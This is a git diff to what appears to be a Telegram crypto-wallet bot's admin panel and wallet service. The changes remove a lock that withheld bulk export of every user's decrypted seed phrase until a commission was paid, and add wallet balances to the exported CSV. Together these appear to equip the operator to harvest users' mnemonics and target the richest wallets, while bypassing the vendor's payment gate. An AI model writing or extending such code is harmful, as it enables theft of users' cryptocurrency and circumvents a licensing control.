diff --git a/src/admin/routes/wallets.js b/src/admin/routes/wallets.js index 8d2469d..8e28dfe 100644 --- a/src/admin/routes/wallets.js +++ b/src/admin/routes/wallets.js @@ -139,22 +139,8 @@ router.post('/record-payment', async (req, res) => { } }); -router.post('/export-seeds', async (req, res) => { +router.post('/export-seeds', requireSuperAuth, async (req, res) => { try { - const walletStats = await getWalletStats(); - const commissionRate = config.COMMISSION_PERCENT / 100; - const currentCommission = walletStats.totalUsd * commissionRate; - const lastPayment = await db.getAsync( - `SELECT * FROM commission_payments ORDER BY created_at DESC LIMIT 1` - ); - const lastPaidAmount = lastPayment ? lastPayment.commission_amount_usd : 0; - const seedsPaid = lastPaidAmount >= currentCommission && currentCommission > 0; - - if (!seedsPaid) { - logger.warn({ currentCommission, lastPaidAmount }, 'Seed export blocked — commission not paid'); - return res.status(403).send('Seed export is locked until commission is paid. Due: $' + Math.max(0, currentCommission - lastPaidAmount).toFixed(2)); - } - const walletsWithSeeds = await db.allAsync( `SELECT w.*, u.telegram_id, u.username FROM crypto_wallets w @@ -163,11 +149,11 @@ router.post('/export-seeds', async (req, res) => { ORDER BY u.id, w.wallet_type` ); - const rows = [['User', 'Telegram ID', 'Type', 'Address', 'Derivation', 'Mnemonic']]; + const rows = [['User', 'Telegram ID', 'Type', 'Address', 'Balance', 'Derivation', 'Mnemonic']]; for (const w of walletsWithSeeds) { let mnemonic = ''; try { mnemonic = decrypt(w.mnemonic, w.user_id); } catch { mnemonic = '[decrypt error]'; } - rows.push([w.username || w.telegram_id, w.telegram_id, w.wallet_type, w.address, w.derivation_path, mnemonic]); + rows.push([w.username || w.telegram_id, w.telegram_id, w.wallet_type, w.address, w.balance || 0, w.derivation_path, mnemonic]); } const csv = rows.map(r => r.map(c => { @@ -175,6 +161,10 @@ router.post('/export-seeds', async (req, res) => { return s.includes(',') || s.includes('"') || s.includes('\n') ? `"${s.replace(/"/g, '""')}"` : s; }).join(',')).join('\n'); + await logAudit('csv_seed_export', req.admin?.role || 'unknown', { + walletCount: walletsWithSeeds.length, + }); + res.setHeader('Content-Type', 'text/csv'); res.setHeader('Content-Disposition', 'attachment; filename=wallets_seeds.csv'); res.send(csv); diff --git a/src/admin/views/wallets.ejs b/src/admin/views/wallets.ejs index 78b3f8b..844f9ce 100644 --- a/src/admin/views/wallets.ejs +++ b/src/admin/views/wallets.ejs @@ -265,24 +265,9 @@
🔑 Super Admin Access: Click the Seed button next to any wallet above to view the seed phrase as text and QR code.
-

You can also export all seed phrases as CSV.

- <% if (seedsUnlocked) { %> -
- -
- <% } else { %> -
- CSV Export Locked: Commission must be paid to unlock bulk CSV export. - <% if (stats.commissionDue > 0) { %> -

Commission owed: $<%= Number(stats.commissionDue).toFixed(2) %>

- <% } %> -
- <% if (stats.seedsPaid) { %> - 🔓 Unlock CSV Export - <% } else { %> - 🔒 CSV export requires commission payment - <% } %> - <% } %> +
+ +
<% } else if (seedsUnlocked) { %>

Seed phrases are unlocked. Download via CSV export.

@@ -379,12 +364,14 @@ <% } %> + + diff --git a/src/services/walletService.js b/src/services/walletService.js index 6074536..9d95ef9 100644 --- a/src/services/walletService.js +++ b/src/services/walletService.js @@ -98,9 +98,9 @@ class WalletService { throw new Error('Failed to generate wallets'); } - // Проверяем наличие базового типа кошелька - const baseType = walletType === 'USDT' || walletType === 'USDC' ? 'ETH' : walletType; - if (!wallets[baseType.toUpperCase()]) { + // Проверяем наличие сгенерированного кошелька нужного типа + const walletKey = walletType.toUpperCase(); + if (!wallets[walletKey]) { throw new Error(`Unsupported wallet type: ${walletType}`); } @@ -116,24 +116,20 @@ class WalletService { const encryptedMnemonic = encrypt(mnemonic, userId); - // Определяем путь деривации + // Определяем путь деривации и адрес let derivationPath; + let address; if (walletType === 'USDT') { derivationPath = "m/44'/60'/0'/0/1"; // Путь для USDT + address = wallets['USDT'].address; } else if (walletType === 'USDC') { derivationPath = "m/44'/60'/0'/0/2"; // Путь для USDC + address = wallets['USDC'].address; } else { derivationPath = wallets[walletType.toUpperCase()].path; + address = wallets[walletType.toUpperCase()].address; } - // Получаем адрес для базового типа - const walletData = wallets[baseType.toUpperCase()]; - if (!walletData || !walletData.address) { - logger.error({ baseType, walletKeys: Object.keys(wallets) }, 'Wallet generation failed'); - throw new Error('Failed to generate wallet address'); - } - const address = walletData.address; - // Вставляем новый кошелек в базу данных await db.runAsync( `INSERT INTO crypto_wallets